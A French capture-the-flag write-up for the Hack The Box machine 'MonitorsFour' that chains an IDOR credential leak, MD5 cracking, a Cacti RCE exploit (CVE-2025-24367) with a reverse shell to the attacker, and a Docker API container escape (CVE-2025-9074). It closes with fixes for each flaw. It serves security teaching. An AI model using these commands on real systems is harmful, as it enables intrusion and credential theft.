&lt;p&gt;MonitorsFour est une box Windows qui cache la quasi-totalité de sa surface d'attaque derrière une application web PHP et une infrastructure conteneurisée. Le chemin se déroule en quatre actes : une faille de logique sur une API expose des credentials, ceux-ci permettent de s'authentifier sur un service de monitoring vulnérable à une RCE, le shell obtenu atterrit dans un conteneur Docker, et l'évasion finale passe par l'API Docker exposée sans authentification sur le réseau interne.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP nginx&lt;/td&gt;
&lt;td&gt;Redirige vers &lt;code&gt;monitorsfour.htb&lt;/code&gt; — virtual hosting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5985&lt;/td&gt;
&lt;td&gt;WinRM (Microsoft HTTPAPI)&lt;/td&gt;
&lt;td&gt;Accès shell Windows si creds valides&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi c'est important :&lt;/strong&gt; La combinaison nginx + WinRM sur une box Windows est un signal classique de conteneurisation. nginx tourne typiquement sous Linux — ici, il est dans un conteneur Docker Desktop sur l'hôte Windows. Le port 5985 est le vrai WinRM Windows. Cette observation aurait dû alerter dès le départ.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; monitorsfour.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Enumération Web
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Découverte du sous-domaine
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/combined_subdomains.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.monitorsfour.htb"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-ac&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 50 &lt;span class="nt"&gt;-s&lt;/span&gt; | &lt;span class="nb"&gt;tee &lt;/span&gt;fuzz.txt
&lt;span class="c"&gt;# cacti&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Résultat :&lt;/strong&gt; &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqw4ga9ds3hag6ctawlv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqw4ga9ds3hag6ctawlv.png" alt=" " width="402" height="357"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; monitorsfour.htb cacti.monitorsfour.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Pourquoi chercher les vhosts :&lt;/strong&gt; Un seul serveur peut héberger plusieurs sites selon le nom de domaine dans l'en-tête HTTP &lt;code&gt;Host:&lt;/code&gt;. La box utilise déjà le virtual hosting (la redirection IP → nom de domaine le trahit), donc il existe probablement d'autres sites cachés derrière la même IP. &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt; s'avère être le vrai vecteur d'entrée.&lt;/p&gt;

&lt;h3&gt;
  
  
  Enumération des endpoints
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb/FUZZ &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-e&lt;/span&gt; .php &lt;span class="nt"&gt;-t&lt;/span&gt; 50 &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,403 &lt;span class="nt"&gt;-ic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Route&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/login&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;Page de login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/forgot-password&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;Reset de mot de passe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Endpoint API — 35 octets de réponse&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/static&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;301&lt;/td&gt;
&lt;td&gt;Assets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/controllers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;403&lt;/td&gt;
&lt;td&gt;Code source inaccessible directement&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://monitorsfour.htb/user"&lt;/span&gt;
&lt;span class="c"&gt;# {"error":"Missing token parameter"}&lt;/span&gt;

curl &lt;span class="s2"&gt;"http://monitorsfour.htb/user?token=test"&lt;/span&gt;
&lt;span class="c"&gt;# {"error":"Invalid or missing token"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. IDOR — Fuite des credentials via token=0
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;La faille :&lt;/strong&gt; L'endpoint &lt;code&gt;/user?token=&lt;/code&gt; valide un identifiant d'utilisateur. Le code du contrôleur fait (en pseudo-code) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// token valide → un user&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_all_users&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;    &lt;span class="c1"&gt;// sinon → TOUS les users&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Le développeur a écrit &lt;code&gt;if ($token)&lt;/code&gt; au lieu de &lt;code&gt;if ($token !== null)&lt;/code&gt;. En PHP, la valeur &lt;code&gt;0&lt;/code&gt; est &lt;strong&gt;falsy&lt;/strong&gt; — &lt;code&gt;if(0)&lt;/code&gt; est faux. Passer &lt;code&gt;token=0&lt;/code&gt; tombe dans le &lt;code&gt;else&lt;/code&gt; et renvoie la table entière.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C'est une IDOR&lt;/strong&gt; (&lt;em&gt;Insecure Direct Object Reference&lt;/em&gt;) combinée à une faille de logique sur les valeurs falsy. À retenir : tester systématiquement &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;-1&lt;/code&gt;, chaîne vide, &lt;code&gt;null&lt;/code&gt; sur tout paramètre d'identification.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://monitorsfour.htb/user?token=0"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Résultat :&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"56b32eb43e6f15395f6c46c1c9e1cd36"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Marcus Higgins"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mwatson"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"69196959c16b26ef00b77d82cf6eb169"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Michael Watson"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Crack des hash MD5
&lt;/h2&gt;

&lt;p&gt;Les hash sont du &lt;strong&gt;MD5 non salé&lt;/strong&gt; — format trivial à casser.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Sur Mac avec Hashcat natif (GPU M5 via Metal)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"56b32eb43e6f15395f6c46c1c9e1cd36"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hashes.txt
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 0 hashes.txt ~/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Résultat :&lt;/strong&gt; &lt;code&gt;56b32eb43e6f15395f6c46c1c9e1cd36&lt;/code&gt; → &lt;code&gt;wonderful1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi MD5 est dangereux :&lt;/strong&gt; MD5 sans sel est cassable en quelques secondes sur un GPU moderne. Les hash sont identiques pour un même mot de passe, et les tables rainbow précalculées couvrent la plupart des mots courants.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Accès Cacti — CVE-2025-24367 (RCE authentifiée)
&lt;/h2&gt;

&lt;p&gt;Naviguer vers &lt;code&gt;http://cacti.monitorsfour.htb/cacti/&lt;/code&gt; — la version est affichée en bas : &lt;strong&gt;Cacti 1.2.28&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Subtilité des credentials :&lt;/strong&gt; Le username dans l'API est &lt;code&gt;admin&lt;/code&gt;, mais le nom complet est &lt;em&gt;Marcus Higgins&lt;/em&gt;. Cacti utilise le prénom comme identifiant → login avec &lt;code&gt;marcus&lt;/code&gt; / &lt;code&gt;wonderful1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2025-24367 :&lt;/strong&gt; Cacti 1.2.28 est vulnérable à une RCE authentifiée. L'exploit abuse de la fonctionnalité graphs/templates pour générer un fichier PHP dans le webroot puis le déclencher.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# T1 — Listener&lt;/span&gt;
penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 9001

&lt;span class="c"&gt;# T4 — Exploit&lt;/span&gt;
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
&lt;span class="nb"&gt;cd &lt;/span&gt;CVE-2025-24367-Cacti-PoC
&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 exploit.py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-url&lt;/span&gt; http://cacti.monitorsfour.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; marcus &lt;span class="nt"&gt;-p&lt;/span&gt; wonderful1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nv"&gt;$ME&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; 9001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Shell obtenu :&lt;/strong&gt; &lt;code&gt;www-data&lt;/code&gt; dans un conteneur Docker.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrqybok6tthfd9kqndmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrqybok6tthfd9kqndmd.png" alt=" " width="630" height="346"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Post-exploitation — Dans le conteneur
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;        &lt;span class="c"&gt;# uid=33(www-data)&lt;/span&gt;
&lt;span class="nb"&gt;hostname&lt;/span&gt;  &lt;span class="c"&gt;# 821fbd6a43fa  ← hash court = ID de conteneur Docker&lt;/span&gt;
ip addr   &lt;span class="c"&gt;# 172.18.0.3/16 sur eth0&lt;/span&gt;
ip route  &lt;span class="c"&gt;# default via 172.18.0.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag user :&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/marcus/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj21lbhk5lq9a7jr20tz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj21lbhk5lq9a7jr20tz.png" alt=" " width="499" height="53"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Evasion de conteneur — CVE-2025-9074 (API Docker non authentifiée)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Le contexte :&lt;/strong&gt; Docker Desktop sur Windows expose son API REST sur &lt;code&gt;192.168.65.7:2375&lt;/code&gt; sans authentification. CVE-2025-9074 documente exactement cette exposition : les conteneurs Linux peuvent atteindre ce endpoint et interagir avec le Docker Engine du host Windows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://192.168.65.7:2375/version
&lt;span class="c"&gt;# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sur Docker Desktop + WSL2, le disque &lt;code&gt;C:\&lt;/code&gt; Windows est exposé sous &lt;code&gt;/mnt/host/c&lt;/code&gt;. On crée un conteneur qui monte ce chemin :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://192.168.65.7:2375/containers/create &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/response.json

&lt;span class="nv"&gt;cid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'"Id":"[^"]*"'&lt;/span&gt; /tmp/response.json | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt; &lt;span class="nt"&gt;-f4&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://192.168.65.7:2375/containers/&lt;span class="nv"&gt;$cid&lt;/span&gt;/start
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://192.168.65.7:2375/containers/&lt;/span&gt;&lt;span class="nv"&gt;$cid&lt;/span&gt;&lt;span class="s2"&gt;/logs?stdout=true"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffoiqbwc9u4jgg74q92nc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffoiqbwc9u4jgg74q92nc.png" alt=" " width="617" height="304"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag root obtenu.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  🗺️ Chaîne complète
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IDOR token=0
    → Hash MD5 leaked (admin / marcus)
        → Hashcat → wonderful1
            → Login Cacti (marcus:wonderful1)
                → CVE-2025-24367 → RCE → shell www-data
                    → Docker container (172.18.0.3)
                        → API Docker 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🛡️ Comment corriger ces failles
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. IDOR + logique falsy sur &lt;code&gt;/user?token=&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Correction :&lt;/strong&gt; Remplacer &lt;code&gt;if ($token)&lt;/code&gt; par &lt;code&gt;if ($token !== null &amp;amp;&amp;amp; $token !== '')&lt;/code&gt;. Ajouter une authentification obligatoire sur tous les endpoints API.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Hash MD5 non salés
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Correction :&lt;/strong&gt; Utiliser &lt;code&gt;password_hash()&lt;/code&gt; en PHP (bcrypt par défaut) ou Argon2id. Ne jamais stocker de MD5/SHA1 pour des mots de passe.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Cacti 1.2.28 — CVE-2025-24367
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Correction :&lt;/strong&gt; Mettre à jour Cacti. Restreindre l'accès par IP. Appliquer le principe du moindre privilège.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. API Docker exposée sans auth — CVE-2025-9074
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Correction :&lt;/strong&gt; Désactiver "Expose daemon on tcp://localhost:2375 without TLS". Si TCP requis → TLS + certificats mutuels. Isoler les conteneurs sur des réseaux dédiés.&lt;/p&gt;




&lt;h2&gt;
  
  
  💡 Leçons retenues
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tester les valeurs falsy&lt;/strong&gt; (&lt;code&gt;0&lt;/code&gt;, &lt;code&gt;-1&lt;/code&gt;, &lt;code&gt;""&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt;) sur tout paramètre d'identification.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ne pas abandonner le fuzzing de vhosts trop tôt&lt;/strong&gt; — &lt;code&gt;cacti&lt;/code&gt; était la vraie surface d'attaque.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lire les en-têtes HTTP&lt;/strong&gt; — &lt;code&gt;X-Powered-By: PHP/8.3.27&lt;/code&gt; + &lt;code&gt;PHPSESSID&lt;/code&gt; trahissent la techno dès le premier curl.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;nginx sur Windows = conteneurisation probable&lt;/strong&gt; — TTL 127 + nginx = signal fort Docker Desktop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;L'API Docker non authentifiée = root immédiat&lt;/strong&gt; — atteindre le port 2375 depuis un conteneur compromis est un game over.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;📺 Voir le walkthrough vidéo : &lt;a href="https://youtube.com/@whyshell" rel="noopener noreferrer"&gt;YouTube WhyShell&lt;/a&gt;&lt;br&gt;
&lt;a href="https://dev.to/whyshell/htb-monitorsfour-writeup-381k"&gt;🇬🇧 English version&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>cybersecurity</category>
      <category>writeup</category>
    </item>
  </channel>
</rss>
